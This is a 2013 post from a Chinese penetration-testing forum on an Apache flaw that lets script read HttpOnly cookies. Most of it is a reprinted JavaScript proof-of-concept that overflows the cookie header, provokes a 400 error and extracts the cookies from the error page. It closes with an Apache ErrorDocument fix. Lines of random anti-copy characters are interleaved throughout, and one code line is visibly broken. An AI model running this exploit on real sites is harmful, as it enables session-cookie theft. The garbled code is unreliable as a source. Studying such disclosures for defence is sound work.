中国网络渗透测试联盟
标题:
Apache HttpOnly Cookie XSS跨站漏洞
[打印本页]
作者:
admin
时间:
2013-4-19 19:15
标题:
Apache HttpOnly Cookie XSS跨站漏洞
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
$ j6 g; D a! I
& y8 e$ w9 I. l( s: r
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
$ n4 d% \1 H! X( B3 e4 S
( r! F+ C# P; A
' q$ D6 ^/ ]0 P; Q' ]5 G
//
http://www.exploit-db.com/exploits/18442/
: k8 \! f- f* L( `
function setCookies (good) {
]* X9 g! y1 M9 L8 M4 }
// Construct string for cookie value
8 z$ S8 e+ x! [. m0 p
var str = "";
& s) C4 L! g8 E' ]
for (var i=0; i< 819; i++) {
; y- V9 d# \2 y5 h u: G
str += "x";
' J( A4 f* J2 h6 K4 p, C
}
$ B0 A3 W& ~, v7 g) y1 u
// Set cookies
' o" D6 ?, [, I* q3 D6 S5 i/ m
for (i = 0; i < 10; i++) {
9 u* I& T* e+ q1 e5 A- ]5 d* W; X
// Expire evil cookie
1 c. _% b6 ]& q9 n4 I% V
if (good) {
! K8 b' n' s/ M( S, q% T1 `
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
3 Z! O8 M8 f3 \8 p3 l8 V: k$ y
}
! E1 N, |" M! g" A- a
// Set evil cookie
8 N$ e: f [4 a# a( J" j' Q n
else {
A4 g; x1 O0 I/ q G2 G8 L
var cookie = "xss"+i+"="+str+";path=/";
" t( M, p% N! G( ~% A) z
}
. c5 Y2 V3 ?# A/ L/ Q/ S
document.cookie = cookie;
+ Y* E& u+ W! `( i7 m# g
}
! E: x" M( A8 J X/ F
}
9 z0 [7 k- |4 y( K* U% A, S
function makeRequest() {
/ W* |( Q, r: A
setCookies();
2 f8 r3 H* e. |- \ G% h* q: W' t9 _
function parseCookies () {
1 y% f+ Y5 y! i2 Z5 L* `. Y$ k
var cookie_dict = {};
# w9 y4 r: O. j; n/ I! {) I, T
// Only react on 400 status
5 H7 k P- `, L% n4 }$ C( P
if (xhr.readyState === 4 && xhr.status === 400) {
& q3 w4 H8 d& e% U# m& j
// Replace newlines and match <pre> content
# ?( `+ v( Q2 c1 _ O
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
% X; W$ N4 w. B3 v$ |; X: @. c
if (content.length) {
5 r5 I& w( n8 x7 C/ U
// Remove Cookie: prefix
; t- ^" }3 j9 i5 d# z9 S0 c5 B
content = content[1].replace("Cookie: ", "");
7 `& v0 G% q5 A6 |
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
; G( T- e' |- l- Q4 @$ m( o
// Add cookies to object
- m% |8 N3 n+ G
for (var i=0; i<cookies.length; i++) {
0 ]1 B) b, r8 |: {
var s_c = cookies
.split('=',2);
_ T X: l1 G% j
cookie_dict[s_c[0]] = s_c[1];
8 L J; E' Y7 r0 \3 k
}
; y( T" u) u2 C Z' X
}
' _: X/ V! Z7 ?! f- |
// Unset malicious cookies
J) e1 @4 ]4 |" e% Y# H
setCookies(true);
' N7 _% n5 j) L/ Z7 h# x5 a- }" v6 M" w
alert(JSON.stringify(cookie_dict));
3 D. n' `# S( L4 Z: H: k y' l# z
}
1 z3 I6 j+ E8 L5 ~4 W+ O
}
: c( h4 U1 ~# V. |' x+ ^! Y
// Make XHR request
) y3 Z# |! h. ?+ r6 b
var xhr = new XMLHttpRequest();
; A! _- W9 ~* x
xhr.onreadystatechange = parseCookies;
' ~5 s. _5 S2 |
xhr.open("GET", "/", true);
( a5 U. G4 Z) B1 M6 x
xhr.send(null);
" _0 r) b: N3 d+ V6 i8 i9 ?
}
, E$ \- h2 m$ w! b7 c* Y% X
makeRequest();
$ y/ [9 \$ h- J& S; i. P# P
/ V7 b6 z) s" {( w
你就能看见华丽丽的400错误包含着cookie信息。
s6 I+ H$ E% p! {
/ [, M( Q$ v4 W) S
下载地址:
https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
( w* O" {& P+ ?! @ l# C/ x2 C
! R4 U+ d! ~9 {( a
修复方案:
) H d; @2 O/ e. G7 W+ N
+ h% q( S$ `- k, G
Apache官方提供4种错误处理方式(
http://httpd.apache.org/docs/2.0/mod/core.html#errordocument
),如下
) \6 d! `( e# d- x( D* w3 S
: [1 l8 F1 o* ] L
In the event of a problem or error, Apachecan be configured to do one of four things,
6 m' N2 Q1 ^0 r7 U r. W
- c% w4 N( h0 @3 l, o
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
* |( S2 w( o2 {' Y% K
2. output acustomized message输出一段信息
3 l% C) [6 ^3 ?/ I+ k
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
9 ]1 ^. ?3 F# ^+ m4 F* y1 |) A
4. redirect to an external URL to handle theproblem/error转向一个外部URL
+ e) N5 A, |6 i: L# M% B
' b/ Q# ~3 o9 } t
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
; N0 \, w% m$ _' }' l, b o
+ J& ~/ d5 a9 r8 I9 H4 v
Apache配置:
* d' J- a I7 f2 z3 x' _9 K- @
5 M0 S# s7 `! q) ~3 r! U6 f: }
ErrorDocument400 " security test"
5 z) H# m9 o; j8 L7 a. }. L
' r2 L7 d5 v# C4 z3 q3 |
当然,升级apache到最新也可:)。
$ P l' ]) v7 M7 G& n, {
3 t' d6 y' j/ Z1 R! P
参考:
http://httpd.apache.org/security/vulnerabilities_22.html
' q5 {0 u9 K' z
: l) i" X8 e' j3 s6 k- l5 \% B
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2